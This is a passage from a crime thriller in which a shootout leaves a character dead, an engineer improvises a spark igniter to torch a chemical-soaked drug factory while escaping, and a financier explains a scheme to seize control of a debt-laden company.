“My Beamer!” wailed Eugene. “My beautiful brand new 650i Beamer! Fuck, no! No no no!” Footsteps ran to the side of the alley with Jason’s Lincoln Navigator. You...” A shot rang out. “...God—” *Bang!* “—damned...” *Bang!* “...dick!” *Bang! Bang! Bang!*

Danny giggled.

Sergey made several loud, painful-sounding grunting noises.

The African-American guard, in a nervous tone, said, “Hey... Hey, Sergey. You okay, boss-man? You don’t look so good...”

The large middle-aged Russian snapped back gruffly, “Mind your own fucking business!”

Eugene abandoned his tantrum and said a few words to Sergey in Russian. His voice was heavy with concern.

“I said I’m fine, God damn it,” Sergey rumbled defiantly. “Now let’s think of way to... to... How you would say?”

Deshaun offered, “Fuck these shitheads up?”

“Exactly.”

THE RAT-TAT-TAT OF JULIE’S GUN burst out suddenly. She fired a few bullets through the broken office windows toward the far factory wall, announcing to the world that she had successfully reloaded. Danny couldn’t find anything helpful on the computer, but Julie had put it to use to figure out how to operate her weapon. Between Wikipedia, YouTube, and some

gun enthusiast websites, she was able to identify the firearm as a MAC-10 and determine how to properly swap the magazine and load the first round into the chamber.

“Jason,” Danny said. “Can’t you, like, talk us out of here?”

“And how do you propose I do that?” Jason asked.

“I don’t know. Negotiate or something?”

“We’re in no position to negotiate,” Jason scoffed. “Negotiation isn’t some kind of magic spell where I open my mouth and words come out and suddenly everyone becomes lovey-dovey. Negotiating takes leverage. And we don’t have any.”

“We both still have our cellphones,” said Danny. “Is there anyone you can call?”

“The cops?” Jason offered. “But, um...” He gestured out to the room — to the cocaine on the desk, to the spent shell casings and the bullet holes in the wall, to the horribly killed corpse in the factory below. “I can make shit up, Danny, but I can’t think of any innocent way to explain what we’re doing here.”

Danny sighed. “So. Death or jail. Really? That’s our options?”

Jason looked down somberly and shrugged.

Julie, for her part, admired herself in the bathroom mirror. She postured and posed with the gun, pouting her lips and giving sultry looks, pressing it up against her body like an action movie femme fatale — the visual impression of erotic danger greatly diminished by her pajamas and bunny slippers.

“God, you guys are such a bunch of whiners,” she said.

Jason asked, “Got any ideas, Julie?”

“Yeah, I do,” she said, trying out a *Charlie’s Angels* pose and finding that it was best done in heels and a side-slit skirt rather than borrowed sweatpants. “But you guys wouldn’t want to hear it. You’re too chickenshit.”

“Try us,” Jason insisted.

“No,” she said. “I’m sick of explaining shit to you guys. Ever since you got here, you’re all talk talk talk talk talk. Fuck that. You want to get something done, just fucking do it already.”

“Just tell us what you have in mind, Julie,” Jason coaxed.

In response, Julie marched to the desk and grabbed the large, heavy key, and said, “How about I show you instead?” As Danny stared at her nervously, she jabbed a finger at his chest. “You. When I give a signal, start banging on this door here. Just pound on it. Make some noise. You know, create a distraction. Think you can handle that?”

Danny, perplexed, merely nodded his head.

The girl skipped down the stairs, her slipper-clad feet making soft syncopated landings. Down in the factory, she made her way toward the large metal double doors at the front of the room.

From the inside, the loading doors were held closed by a complex mechanical arrangement of steel crossbars, operated by a large lever. A heavy padlock kept the lever securely in place. Slowly and quietly, struggling against the cocaine to keep her fingers from shaking, Julie slid the key into the padlock and discreetly freed the lever. With the lock undone, she began a series of practice pantomimes on the complex latch mechanism. After a dozen or so rehearsals, the girl closed her eyes, concentrated, and took several deep, heavy breaths. Finally, she looked up at Danny and shook her fist in the air.

Danny slapped his hand hard against the locked door, sending loud metallic reverberations out through both the factory and the alley outside. He repeatedly banged on it until he was answered with a gunshot from outside, accompanied by the “*plink!*” of a bullet.

Danny gulped and awkwardly called out, “Hey, uh, Eugene! Eugene, are you there?”

From the other side of the door, Eugene’s voice could be heard saying to his comrades, “Did you hear that? Did this fucker just call my name like he’s my buddy? You got something to say to me, dickwad?”

“I want to, uh, negotiate?” Danny shouted.

Sergey’s deep, slow voice responded, “You want to talk, you talk with me.”

Danny replied, “I.. Uh... I was just thinking, that, uh, you know, we have the vial in here... You know, the vial you want... Or at least, I assume you want... So, like, maybe if you wanted to, uh, like...”

He was interrupted by a loud metallic groan from below.

With as much strength as her small arms could muster, Julie yanked the lever that drove the mechanical latches holding the loading doors shut. The large metal double doors came unmoored from their sockets, and Julie shoved one of them narrowly open.

“Surprise, motherfuckers!” she screamed, and let loose a hail of gunfire.

The men in the alley shouted and dove for cover, Deshaun behind the exterior stairwell and the two Russians behind their BMW. Julie crouched in the doorway, using the large metal doors as a shield, steering the MAC-10 with both hands. The rattle of her gun was answered by the matching report of the black man’s identical firearm and the sporadic bangs of Eugene’s revolver.

The gap in the doors put the exterior stairwell directly in Julie's line of fire. Her bullets made high-pitched plinks as they grazed off of the iron railing, zinging through wide gaps in the struts between the steps. The African-American guard, seeing that the stairs would offer him very little protection, aimed around the side of the railing and fired back.

Julie dropped to the ground just in time. The spray of hollow-point bullets from Deshaun's gun had been meant for Julie's head, but instead hit the narrowly opened door behind her. They squashed against the inside of the metal door, pushing against it and bouncing idly away as flat little mushrooms of lead that ricocheted into the factory. The door behind Julie began to swing wide open from the kinetic energy of the deadly projectiles.

On the ground, Julie kept firing. The stairwell, she noticed, didn't quite reach all the way down to the ground. There was a gap of approximately three inches between the asphalt and the bottom-most stair, and in that gap she could see Deshaun's shoes. She turned the MAC-10 horizontally, rested her hand on the ground, and seized the opportunity.

The burst of bullets ripped through the black man's foot and ankle. He let out a sustained, choking grunt, and fell sideways onto the stairwell, landing on his shins and knees. He tried to use his arms and elbows to push himself off of the stairs and back into an upright position, grunting heavily through gritted teeth from the exertion. When his leg collapsed under him a second time, he looked down at his foot, and that's when he started screaming.

Laying prone on the stairs made him a much easier target for Julie. There were plenty of gaps in the ironwork to permit a bullet to pass. She quickly picked herself up off the ground, lifted her firearm, and prepared to spray several more bullets at the black man, counting on at least one to score a killing shot.

Instead, she flew backward into the factory.

The echoes of the last bang from Eugene's pistol resounded through the alley. The ricochet of Deshaun's bullets had pushed the door open wide enough to afford the crew-cut Russian a clear shot at the small Asian girl.

Julie fell on her tailbone and landed face-up just inside the large loading doors. Her MAC-10 was still in her hand.

Lying on her back, she stared upward at the ceiling's gymnasium lights with a blank, confused look on her face. She tried to rise, but her abdominal muscles wouldn't obey her.

On one side of her abdomen, her sweatshirt bore a small moist circular stain of blood, barely the size of a penny.

The stain quickly grew much bigger.

She managed to turn herself to the opposite side and lift herself up on an elbow.

She coughed wetly. A thick stream of blood flowed out from her mouth.

The small Asian girl remained frozen in that position, propped on one elbow, unfocused. Her breathing became short and shallow. Her skin paled, acquiring a sickening greenish hue. Her dark, wide-pupilled eyes glazed over. She began to shiver.

Hearing the sound of movement just outside the loading doors, she slowly turned her head to look outward. A man's shadow darkened the doorway. Julie lifted the MAC-10 in one hand and waved it at the entrance, straining against the gun's weight. The weapon shook in her weakening hand. She squeezed the trigger to fire off a few warning rounds. The recoil knocked the firearm out of her grasp.

The muscular, leather-clad figure of Eugene wheeled into the doorway. He fired two quick shots squarely into Julie's ribs and spun back away out of sight.

Julie collapsed onto her back. A final wet, rasping breath escaped her throat, carrying with it a red, bubbling froth. Her entire body twitched once, and fell still.

The room was silent. Blood quietly pooled around Julie's body.

Eugene's athletic form again appeared in the doorway, crouching low and glancing around cautiously. He reached in through the entrance just far enough to grab a bunny-slipper-clad ankle, and dragged the small Asian girl's lifeless body out into the alley. A streak of blood on the floor marked her exit, and she was gone.

There was the sound of rustling clothing.

“*Oppah!*” said Eugene’s voice. “Seryozha, look what the good little girl has for us!”

“She had the vial on her?” asked Sergey.

“Yes!” Eugene said happily. He walked toward Sergey. “Here you go, Seryozha. Is present from your favorite nephew!”

Sergey responded in Russian.

“Now we go in and teach those fuckers a lesson?” asked Eugene.

“No,” said Sergey. “Now we save our soldier.”

Deshaun grunted and moaned between shallow, irregular breaths.

“Keep your feet up, Deshaun,” said Sergey’s deep, resonant voice. “You lose a lot of blood already. Foot is a bad place to get shot. Blood gushes out like from faucet. Now hold on, I tie my belt around the leg, make less blood flow, okay?”

Deshaun’s voice said through gritted teeth, “Am I gonna walk, boss?”

Sergey responded, “Let’s make sure you not to go into shock first, then we worry about you dancing ballet with Rosie someday in a future. We need get you to doctor, but we can’t start Eugene’s car. We take yours. You have keys? Is it close?”

“Yeah. It’s around the corner,” said Deshaun. Car keys jingled as they came out from the wounded African-American’s pocket.

Sergey instructed, “Zhenya, stay here with him, keep his feet up. I go get his car.”

“Bad idea, Seryozha,” said Eugene tensely. “You bring that ride here, it’ll get zapped by that fucking electric gun.”

“Alright, then help me carry him,” said Sergey.

“What? And let those two guys get away?” Eugene protested. “They’re in there right now! How about just we go in, take care of them, *then* we go fix Deshaun.”

“We *not* rushing in there, Zhenka!” Sergey insisted. “They could be armed, plotting ambush. Or they set up booby traps with bottles of chemicals. Zhenya ... God forbid anything happen to you like what happen to Rex...”

The two men talked briefly in Russian, the thick Slavic syllables rolling fluently off their tongues. The discussion ended with a few grunts as Sergey helped the injured black man balance on his remaining foot. The two of them coordinated a hurried three-legged walk down the alley. Deshaun groaned out words of gratitude through gritted teeth.

As for Eugene, the silhouette of his leather-jacket-clad body, crouching with gun in hand, reappeared in the doorway downstairs. He carefully scanned the reeking slosh-covered factory room, eyeing potential hiding places amongst the packing materials and bullet-riddled equipment, and said tauntingly, “Come out, come out, wherever you are!”

THERE WAS JUST BARELY ENOUGH ROOM UNDER THE DESK in the office for both Danny and Jason to huddle together, terrified. They could hear the Russian slowly stalking the room below. His cautious exploration would lead him to the office in due time.

Danny eyed the front door with bitter frustration. It was only a few feet away, but there was no way to open it and get down the stairs without being seen or heard. The athletic mobster would gun them down in the alley before they could reach the SUV. Alone and in peak condition, Danny might have been able to make a dash for it, but Jason would stand no chance. And between the blood loss, the sleep deprivation, and the noxious fumes that filled the room, Danny could barely blink without passing out from exertion.

If they could just buy a few seconds to make it to the car...

Jason pressed up next to him under the desk, a sad and empty expression on his visibly nauseous face. Jason’s hand rested on Danny’s arm and his head lay limply against his shoulder. It was an uncomfortably intimate position, and it

gave Danny the same sense of unwelcome affection as when Jason had put his arm around him in the SUV parked across the street from Tungsten earlier that night. But under the circumstances, Danny didn't begrudge the man for wanting to feel a little bit of human closeness.

As softly as he could, he whispered, "Jason, I'm sorry I can't get us out of this."

Jason whispered back, "I'm sorry I got you into this." He gave Danny's arm a squeeze through the floral-print sweatshirt. The shirt was still doused with kerosene, and the squeeze felt spongy.

Downstairs, the Russian's footsteps squished against a sheet of cardboard soaked in the reeking slurry.

Danny's eyes went wide. He suddenly gasped.

"Are you alright?" Jason asked in hushed tones.

"Jason! What are the chemical formulas for kerosene and acetone?"

Jason blinked at him. "How would that help?"

"I need a bond energy table. Fuck. Last time I did any chemistry was my chip fabrication class in college..."

"What are you talking about?" Jason asked.

“I’m thinking,” Danny replied, “that the floor downstairs is soaked with chemicals. And I don’t know the formulas or the principles or the math, but I do know there’s one thing those substances have in common.”

“What’s that?” asked Jason.

“They’re flammable.”

Jason stared at him nervously.

Danny reached his hand over the top of the desk and groped around blindly for a moment. “Jason, you don’t have a lighter, do you?”

Jason shook his head. “I don’t. Danny, are you nuts? If you light a fire, this place could blow to pieces — and us with it.”

“Nah. Don’t be silly,” said Danny. “Flammable doesn’t mean explosive. Those barrels down there didn’t go boom when they were shot, did they? Obviously the whole big-ball-of-fire thing you see in movies doesn’t really happen. I won’t make an explosion, just a wall of flame that the guy won’t want to run through.” He drew his hand back down from the top of the desk. “Fuck! These guys sell cocaine for a living but apparently they’re too straight-edge to smoke.”

Jason looked at him hesitantly. “It’s okay, Danny. It was a good idea. Nobody can ever say you weren’t resourceful right up until the end.”

“Fuck the end,” said Danny. “I’m not done yet.”

He looked around. There was nothing within arm's reach but shards of broken glass. And his HERF gun.

His HERF gun, with its 3-megawatt S-band magnetron powered by pulsed electrical discharge from a 600-farad ultracapacitor bank.

Working as quietly as possible, Danny carefully unscrewed the magnetron horn. Multiple pairs of thick red and black cables protruded from the back of the megaphone-like component. He picked up a particularly sharp piece of broken glass and used it to pry the epoxy insulation away from one of the magnetron's power cable pairs. At some point, the shard of glass painlessly sliced his palm open. He found himself leaving crimson fingerprints all over the magnetron horn.

From the factory below, the sound of rustling steadily drew closer.

He cut one pair of cables free, and put them in his mouth one at a time to strip away the insulation with his teeth. He took each exposed, frayed metal tip between his fingers and twisted it into a fine point. When he was done, he tied the two wires to the end of the PVC pipe, leaving a quarter-inch gap between the exposed silvery ends.

Danny frowned at the contraption. "What do you think?" he asked Jason.

"What'd you make?" Jason returned.

“The world’s most overpowered barbecue lighter,” Danny replied. He flipped a switch on the power supply box. Tiny lights awoke. “Assuming it works. We don’t have time to test it. It takes about thirty seconds to recharge. I don’t want to risk it. Now, help me find something to ignite...”

Jason reached his hand over the top of the desk and pulled down a loose sheet of paper, careful to keep it from making too much rustling noise.

Danny shook his head. “I need something with more heat capacity. Something that will stay burning long enough to raise the temperature to its flash point. There’s got to be something here we can use... Something that will hold a decent flame...”

Jason looked at Danny and said pointedly, “Danny...”

“Yeah?”

“Take your shirt off.”

Danny looked at him, perplexed. “What?”

“Your shirt. It’s soaking wet.”

“Yeah, it’s pretty uncomfortable,” said Danny, “but that’s the least of my... Oh!”

Danny wriggled awkwardly in the cramped space, trying to extricate himself from the oversized sweatshirt without bumping an elbow against the underside of the desk. His injured shoulder was swollen beneath its taped gauze dressing, and it hurt to move. The wrestling match with the kerosene-soaked fabric seemed interminable, but Danny ultimately prevailed over his floral-print opponent. He pulled the damp cotton slowly and silently away from his head until it came loose, and placed it down as a bundled wad on the linoleum floor.

He lifted the modified HERF gun and placed its tip, with the two exposed ends of wire, against the flammable cotton heap. After giving the circuitry one last visual inspection, he pulled the trigger.

Along the top of the PVC tube, the stegosaurus-like spine of small translucent plastic boxes clicked as the relays all closed their contact arms in unison. The eight-pack of baby blue ultracapacitors discharged, sending their stockpile of pent-up electrical energy shooting through a flyback transformer and down the cable.

The gap between the exposed wires flashed with a bright blue spark — accompanied by a cracking, zapping buzz.

Danny cursed himself for forgetting one key characteristic of pulsed-current open-air spark gaps: they're *loud*.

Eugene responded to the noise by firing his handgun. It was much louder.

Bullets whizzed in through the shot-out windows, slamming into the opposite wall of the office. A few plinked against the exterior of the office itself, forming fresh dimples in the metal wall. Running footsteps filled the gaps between the shots.

The sweatshirt lit up in a bright orange flame. It burned with a disturbing ferocity in the fume-laden air.

Danny spun out from under the desk and, keeping his head down, extended an arm to help hoist Jason out behind him. The overweight man grunted and rose to his feet, crouching as low as his aging knees and spine would allow.

“Go!” Danny hissed, pushing him toward the front door.

“He’ll follow us into the alley,” said Jason with a gulp.

“I’ll cut him off,” Danny insisted. “Now go!”

Still crouching, Jason quickly made his way to the door and reached up to click the locks open.

More bullets zoomed through the broken windows. Jason flung the front door open, sending a rush of air inward. His heavy footsteps pounded down the iron stairs outside.

In the factory below, Eugene began to sprint toward the loading doors. Equipment crashed around him as he shoved it aside. His feet splashed in chemical puddles.

On the office floor, the sweatshirt burned fiercely, leaping to life with added vigor the moment Jason opened the door. Thin tongues of flame vaulted into the air. Glowing orange specks of burning thread wafted upward on the thermal draft, fading into ashes before floating back down to the floor.

He reached down. In one hand he grabbed his HERF gun. In the other he grabbed the fiery sweatshirt, burning his palm. Before the pain could distract him, he hurled the fireball through the broken window down into the factory, and leaped for the door.

In three sprinting steps he reached the exterior landing, gasping to draw the clean outdoor air into lungs. He grabbed the railing and ran down the stairs without looking back.

Danny had pointed out to Jason that the barrels of kerosene below didn't explode when shot. He had said that "the whole big-ball-of-fire thing" only happens in movies. He had said he would only make a flaming barricade rather than an explosion.

He was wrong.

The entire factory was ablaze before the burning sweatshirt even touched the floor. The volatile vapors of acetone flashed first, sending an ignition wave racing out to the corners of the room. The kerosene, harder to light but burning hotter, erupted milliseconds later. The Styrofoam and cardboard followed, lifting dirty, noxious residue into the air as they combusted. In a blink, the small factory transformed into a roaring inferno.

Danny had failed to account for a key difference between the kerosene drum and the fume-filled room: the presence of oxygen.

He had just barely cleared the landing when the wave of heat blasted out from the door behind him, carrying glowing embers and ash amidst arcs of orange flame.

Below, the loading doors swung fully open on their hinges and slammed against the side of the building, an enormous spout of fire shoving them apart in one thrust like a great demonic hand.

And within that glowing spout of red fire was the black silhouette of Eugene.

The Russian had been mere steps from the loading doors when the room erupted. The wave of overpressure hit him in the back like a charging bull. He fell halfway out of the doorway, landing hard against the asphalt street.

Eugene maintained enough presence of mind to keep his face down as gusts of flame billowed above him. The Russian crawled on his belly toward his BMW for cover. The small coupe was getting coated with soot.

An alarm wailed inside the building. Water gushed from sprinklers in the factory's high ceiling. White mist poured out into the alley alongside the red flames and black smoke. Streams trickled to the street from the factory floor, drawing streaked wet lines through the trail of blood that ran to Julie's pale, lifeless body on the asphalt outside.

Danny raced down the stairs with his butchered HERF gun. As soon as he cleared the last stair and hit the pavement, he bounded toward the SUV. He hoped to see Jason in the driver's seat, starting the engine.

Instead, Jason stood despondently next to the Navigator, looking down. All four tires had been shot out. Jason turned to Danny with an expression combining panic and nausea.

On the ground outside the factory, on the opposite side of the parked BMW, Eugene rolled frantically to extinguish himself. The Italian lambskin material of his jacket melted off in rivulets from his sides and sleeves.

Danny scanned the alley, lit with the orange glow of the blazing factory. A handful of other cars had parked there overnight, spread far apart and separated by dumpsters and stacks of wooden pallets.

One of the cars was a red Ford F-150. Its rear bumper and window were covered with stickers of Seattle grunge and metal bands — logos of Nirvana, Pearl Jam, Soundgarden, Queensrÿche, and Alice in Chains.

Danny felt in his pocket, and pulled out the keychain he had lifted from Rex's body — the one with the Ford car remote and the Kurt Cobain plushie.

He tried a button on the remote. The taillights of the red Ford blinked a greeting.

Jason and Danny wasted no time in getting to the late Rex's pickup truck. The two men scrambled into the Ford. Force of habit drove Danny to the passenger's side, and he passed the keys to Jason. The moment he turned the key, the sound of the ignition was momentarily drowned out by the distorted chords of a grunge guitar riff that blasted out at jarring volumes. Danny switched off the stereo while Jason hit the gas.

Eugene climbed to his feet, covered in black soot. His jeans were charred, his hair and eyebrows were singed, and his jacket was unrecognizable. In the distance, at the end of the alley, he could see the car turning to the lanes of busy fulfillment houses, the two men inside escaping to populated safety. Eugene's roars of anger echoed behind them.

DOPAMINE

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THE FABRIC UPHOLSTERY PRESSED AGAINST Danny's naked back, leaving a grid of tiny square crosshatches in his skin. The rough polyester seatbelt cut awkwardly across his chest. His wounded shoulder throbbed painfully beneath its gauze dressing, and his hand still stung from being cut and burned.

The two men had not exchanged a single word. Danny stared wordlessly out the open window. He breathed the fresh night air deeply — he couldn't stand his own stench of chemicals, sweat, and blood.

The trip was not silent, however. The middle-aged financier spent the time on his cellphone, speaking frantically into his Bluetooth headset. The conversations were brief and cheerful. They went along the lines of, "Hello, Mr. Cartwright..." "Ms. Yonath..." "Mr. Chew..." "Yes, everything's just fine! Listen, I'm afraid I won't be able to provide you with a sample after all... Yes, unfortunately the prototype is inaccessible. But ... Yes, we're absolutely still on..."

Those were the ones that Danny could understand. The rest were in fluent German, French, and Mandarin.

Eventually, the conversations ended. The silence was even less palatable than the chatter.

Jason finally said something. "So, I'm dropping you off at your house, I guess?"

"Yeah."

To the right, the long straight streets of the city passed by them, the red brick tenements of the waterfront rolling by quickly as the tall forms of art deco skyscrapers drifted slowly in the background. To the left, the quiet waters of Elliott Bay sparkled silver in the starlight, rimmed by the low black silhouette of Alki Beach on the opposite shore, beneath the Olympic Mountains somewhere far beyond.

Danny looked at the clock above the car's radio, counting the minutes until he would get home. "Who are you talking to, anyway?" he asked. "It's two o'clock in the morning."

"It's five p.m. in Singapore."

They drove on, the air in the car thick with the lingering smell of nail polish remover and jet fuel.

"We still don't know who owns Tungsten," Jason said.

“Excuse me?” Danny replied.

“The consortium,” said Jason. “The overseas consortium who bought the company when it was about to go bankrupt. The ones who installed Dr. Passinsky. We still don’t know anything about them.”

“So what?” Danny dismissed.

“We should find out,” Jason said, trying to sound nonchalant.

Danny shrank in his seat. “I don’t think so.”

After a pause, Jason said, “I’ve kind of got some deals in the works. That little bit of info would really help.”

Danny continued staring wordlessly out the window.

“We should at least make sure that Tungsten has proper FDA licenses to work with scheduled substances,” Jason pressed. “I infer that they do, but I’d like to make certain before I include it in my final evaluation report.”

“Yeah, good luck with that,” Danny said sardonically. “I’m sure the teacher will love it. I hope you get an A.”

“Heh, I’m hoping for a little more than an A,” said Jason whimsically.

“Like what?”

“Like total control of the company,” Jason said simply.

Danny said nothing, but permitted himself to look at Jason just long enough to betray his curiosity.

“I spent twenty years as Tungsten’s COO,” said Jason. “I was your age when I took that position. Your age. Think about it. Before that, I was their Senior Vice President of Operations. And before *that*, I was the head of their Accounts Payable. I spent my whole life at that company. I took a sales position with them right out of college. They paid for my MBA. Thirty-five years, Danny. I’ve been with them for thirty-five years. You’re upset about the six years you sank into Claymore Communications, right? Well, that’s a blink of an eye. I was with Tungsten for as long as you’ve been alive. That company outlasted my marriage, Danny. I’ve known that company for longer than I’ve known my ex-wife. Longer than my children.”

“Yeah, and now you’re bitter that they canned you,” Danny concluded. “And you just want to stick it to them by stealing their core project.”

Jason shook his head and smiled sadly. “That’s not it at all, Danny. I hold no grudge against them. Firing me was the right move.”

Danny stared at him questioningly.

“Look, Tungsten had been an internationally successful reseller of high-end medical equipment since the seventies, right?” said Jason. “Its core business model was *sales*. Sales in the seventies and eighties. It was a different world back then, Danny. A world of business cards and Rolodexes and fax machines. A world of power ties and shoulder pads and expense lunches and bookings at Radisson Inns all over the country. Tungsten’s lifeblood was mail-order catalogs, cold-calls, and conference presentations. All the stuff that used to make business, business.

“And then, while I was COO, the Internet came. First email, then chat rooms, then the World Wide Web, then search engines and eBay and PayPal and AdSense... and then it was game over. I watched Tungsten waste away and die under my watch. I was helpless to stop it. Look, I’m all about adapting to the times and sailing with the winds of change and all that corporate boardroom jazz. I was happy to learn about all this new ‘Information Age’ stuff, to see if I could help fit it into Tungsten’s business model. And I did learn a lot about digital technology, enough to know my way around the dot-com world as an investor and venture capitalist. But as for Tungsten, there was nothing I could do to keep it afloat. Not as COO. I managed its operations, and it withered and died in my arms. The world moves fast, Danny. You know that as well as anyone does.”

Danny began to relax. “So you’re not in it for revenge. And you keep talking about your severance package and your dot-com investment stuff, so I assume you’re not in it for the money. So what are you doing all this for?”

“Redemption.”

Danny said nothing.

“My marriage fell apart, Danny. My kids hate me now. I haven’t talked to my ex-wife in years. And through the divorce and everything, it was all okay because... I mean, it wasn’t *okay*, obviously, but... at least I always had my work. I always had Tungsten. And I watched Tungsten collapse out from under me. I spent my lifetime building it, and it died on my watch. And now I need to find a way to make it be thrive. To prove to the world that I can make something work after all — especially something I’ve poured my whole life into. I need to prove that I can do *something* that doesn’t end in disaster and disappointment. That I’m not...”

“...A total failure?” Danny suggested, partly out of anger, partly out of a distinct sense of empathy.

Jason sighed, and slowly said, “Exactly.”

“How does stealing their intellectual property help anything?”

“It all has to do with a little problem with Tungsten’s paperwork,” said Jason, “that presents me with an interesting opportunity.”

“What kind of problem?”

“Danny, I was always totally honest when it came to Tungsten’s accounts,” said Jason. “I swear to that. I never cooked the books. I never performed or aided any insider trading. I never did anything to compromise myself or the company. But...”

near the end there, with Tungsten circling the drain, I'll admit I did make a few moves that, um, could be considered controversial. I never lied, but I wasn't always exactly forthcoming with the truth..."

"Go on," Danny coaxed.

"Tungsten never formally declared bankruptcy. But most of our creditors believed we had, and, well... I never corrected them. So, they wrote off their investments in Tungsten as capital losses. But we never actually filed Chapter 11. When the creditors wrote off those losses in their year-end tax filings, we treated that as *ipso facto* forgiveness of the debt, and cleared the balances from our ledgers. But both the write-offs and the debt forgiveness were based on misunderstandings — arguably *willful* misunderstandings — and neither would hold up in a court of law."

"So, what you mean is..." said Danny.

"What I mean," explained Jason, "is that Tungsten is carrying almost a hundred million dollars in unsettled debt, with compounding interest. When this Eastern European consortium bought that company, they unknowingly bought a bottomless money pit."

"So, then, who are all these people you're calling now?"

“They’re some of our old creditors,” said Jason. “I’ve been in contact with them. Several weeks ago, I casually informed them about Tungsten’s lack of legally filed bankruptcy paperwork. They found the news very troubling.”

Danny merely shook his head with incredulity.

“Tungsten’s assets are rightly theirs, you see,” Jason clarified. “The creditors are still entitled to come and collect. They can legally force Tungsten to sell off everything it owns and divvy up the money among them. And that’s what they were ready to do when I first told them about Tungsten’s little paperwork snafu. Their natural reflex is to put everything on the auction block and recoup whatever they can, right?”

Danny chuckled bitterly. “Like what you just did to *my* company, Claymore Communications. I’m seeing a pattern here. As above, so below?”

“It’s all just business,” Jason replied. “But with Tungsten there’s more to it now. See, an auction of Tungsten’s assets would barely net a few million dollars at most. Tungsten’s lenders thought most of the company’s capital was tied up in the stockroom where they keep all the inventory, and the stuff in there is obsolete and getting progressively more worthless every day. But Tungsten’s not a medical supply house anymore. It’s a biotechnology research firm now. And thanks to this nameless Eastern European consortium, Tungsten now has something that could be worth serious money.”

“So this whole mission tonight,” Danny followed, “was to provide proof that Tungsten is worth keeping. That it shouldn’t be disbanded, but kept around in its new form.”

“Exactly,” said Jason. “This consortium, whoever they are, was kind enough to find a way to do what I couldn’t: turn Tungsten around. Give it potential. Give it life. Give it relevance.”

“Uh-huh. And you’re going to reward them for their efforts by getting Tungsten’s old investors to swoop in and take it back from them.”

Jason shrugged. “It is what it is,” he said distantly.

“And what’s in it for you?” Danny asked pointedly.

“The new investment group I’ve set up consists solely of international creditors,” said Jason. “I’ve made a deal with them. See, they’re going to need a new President and CEO. Someone local. Someone who’s been in the business his whole life. Someone who knows American corporate practices and who has experience running a company like this.”

“Right,” Danny said with a snort. “And, naturally, who better to take the reins than someone who not only has experience running a company *like* this, but actually running *this* company...”

“Exactly!” said Jason.

“...into the ground,” Danny finished.

A glare of anger flashed momentarily across Jason’s face. He looked at Danny with furious eyes, and opened his mouth to say something. But in a blink, the middle-aged man pushed the rage away, and turned to gaze emptily at the road ahead. He nodded humbly, and squared his jaw as his face hardened into an expression of distant determination. “Yeah. I did,” he said, his voice low. “But not this time. Not this time.”

THE SIGHT OF HIS FLAT LITTLE HOUSE made Danny giddy with relief. The red pickup truck worked its way, Pac Man-like, through the grid of streets in the University District, until it finally came to park on the curb outside Danny’s front yard. The one-story structure, with its blue siding and brown roof and white door and attached two-car garage, had never looked so inviting. In his mind, Danny was already heading to his bedroom.

“I’ll send your payment by PayPal tomorrow,” Jason said with a tired voice.

Danny collected his HERF gun, carefully examining the power cables from which the magnetron dangled. “My payment?” he said absentmindedly.

“For your services tonight,” Jason said. “You’ve sure as hell earned it.”

“Oh. Right,” he replied, taking off his seatbelt. “Yes, thanks.”

“So, I’ll call you tomorrow to discuss the consortium?” Jason asked.

Danny froze with his hand on the door handle. “Uh... what’s there to discuss?”

“I really would like to find out who they are,” said Jason. “I’ll pay you for the additional labor, of course.”

Danny slumped back into his seat with an intense frown, avoiding eye contact.

“I... I don’t think so, Jason.”

“Why not?” Jason asked innocently.

Danny’s shoulders hunched and his head lowered in a subconscious effort to hide, his body obeying some kind of ancient reptilian instinct to retract his head and flippers inside his shell. “I don’t want to do this anymore, alright?”

Jason’s eyes narrowed. “Danny, just what the hell are you so upset about?”

Danny asked morosely, “Why did you hire me?”

Jason hesitated for a few seconds. “What do you mean? To get inside information on Tungsten, obviously.”

Danny shook his head. “That’s not what I mean. Why did you hire *me*?”

Jason simply stared at him.

“I’m not a hacker, Jason,” Danny insisted. “I’m an engineer. I’m a builder, not a breaker. All this cloak-and-dagger confrontation bullshit isn’t what I do. *This* is what I do...” He held up his HERF gun. “*This* is what I do...” He held up his cellphone. “You’re getting the picture, right? I don’t do *this*...” He fished Eugene’s hacked Pantech out of his pocket. “...And I sure as shit don’t do *this*...” He turned his shoulder to display the gauze dressing over his bullet wound. “You knew from the very beginning that you needed a hacker. Not an engineer, but specifically a hacker. And yet you hired me anyway.”

“I needed someone smart who could do the job,” Jason countered.

“And you thought *I* was the right guy for it?” Danny fired back. “Bullshit. This is Seattle, Jason. There’s dozens of top-notch hacker outfits you could’ve hired, both legal and illegal. IOActive. Leviathan Security. The Ghetto Hackers. The Schmoo Group. Some of the shadier members of Agora. There’s literally a thousand people in this city that would’ve done a better job at this than me, for a lower price.”

“Danny, I don’t have any inroads to folks like that,” Jason defended. “It’s not like I can just type ‘Seattle hackers’ into Google and get contact information for...”

“Yes, you can,” Danny interrupted.

“Right. And I’m supposed to just work with some random guy off the Internet who happens to be a semi-professional criminal?”

Danny glared at him. “For a *criminal* activity? Yes, Jason! That’s *exactly* what you’re supposed to do!”

Jason shook his head. “Look, I needed someone I could trust, alright? Someone who I knew would be on my side. Someone who...”

Danny cut him off accusatorially. “Someone who would do this job because he had nowhere else to turn, right? Because you just got done taking the company he’s poured his blood, sweat, and tears into for the last six years and decided to make it go Poof! No more! All gone! ‘So what are you going to do now?’ Right? ‘Oh, well, gosh, Danny, I’ve coincidentally got this little side-project...’”

“Danny, you make it sound like I’d had some kind of grand master plan this whole time,” Jason said defensively. “It wasn’t like that. At all. It was more... More, um...”

“Opportunistic?” Danny offered bitterly.

Jason looked away, saying nothing.

“It wasn’t so much a diabolical mastermind plot as it was seizing an opening, wasn’t it?” Danny said. “You knew that hacking Tungsten would help you in this little hostile takeover quest of yours, if only you could find someone to do it for you. And you knew that I’d be lost and desperate once you and your fellow investor buddies got done shredding Claymore. And there you were — you found yourself with a square peg in one hand and a round hole in the other...”

“Yes, Danny! Business is opportunistic! Good fucking morning,” Jason fired back. “But you know what? You *were* the opportunity. And you still are. I hired you *because* I could use you. Because I believed you could get the job done. What exactly is so wrong with that? You’re a man who takes pride in his work, right? Well, look at the work you’ve done tonight, Danny! You faced challenges beyond anything I’d foreseen, and you persevered in ways I never would have expected. You have nothing to feel right now but pride.”

